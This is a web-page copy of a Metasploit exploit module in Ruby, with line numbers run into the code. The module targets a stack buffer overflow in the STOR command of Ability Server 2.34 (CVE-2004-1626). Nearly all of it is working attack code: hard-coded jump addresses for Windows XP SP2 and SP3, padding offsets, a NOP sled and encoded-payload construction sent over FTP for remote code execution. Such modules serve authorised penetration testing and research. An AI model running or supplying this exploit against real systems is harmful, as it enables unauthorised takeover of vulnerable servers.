Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/ability_server_stor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow in Ability Server 2.34.15Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,16which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.1718The vulnerability has been confirmed on version 2.34 and has also been reported19in version 2.25 and 2.32. Other versions may also be affected.20},21'Author' =>22[23'muts', #Initial discovery24'Dark Eagle', #same as muts25'Peter Osterberg' #Metasploit26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2004-1626' ],31[ 'OSVDB', '11030'],32[ 'EDB', '588'],33],34'DefaultOptions' =>35{36'EXITFUNC' => 'process'37},38'Privileged' => false,39'Payload' =>40{41'Space' => 1000,42'BadChars' => "\x00\xff"43},44'Platform' => 'win',45'Targets' =>46[47[48'Windows XP SP2 ENG',49{50#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)51'Ret' => 0x73E32ECF,52'Offset' => 96653}54],55[56'Windows XP SP3 ENG',57{58#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)59'Ret' => 0x7E429353,60'Offset' => 96661}62],63],64'DisclosureDate' => '2004-10-22'65))6667register_options(68[69Opt::RPORT(21),70OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ], fallbacks: ['USERNAME']),71OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ], fallbacks: ['PASSWORD'])72])73end7475def check76connect77disconnect78if banner =~ /Ability Server 2\.34/79return Exploit::CheckCode::Appears80else81if banner =~ /Ability Server/82return Exploit::CheckCode::Detected83end84end85return Exploit::CheckCode::Safe86end8788def exploit89c = connect_login90return if not c9192myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']9394# Take client ip + ftp user lengths into account for EIP offset95padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)96junk = rand_text_alpha(padd_size)9798sploit = junk99sploit << [target.ret].pack('V')100sploit << make_nops(32)101sploit << payload.encoded102sploit << rand_text_alpha(sploit.length)103104send_cmd(['STOR', sploit], false)105handler106disconnect107end108end109110111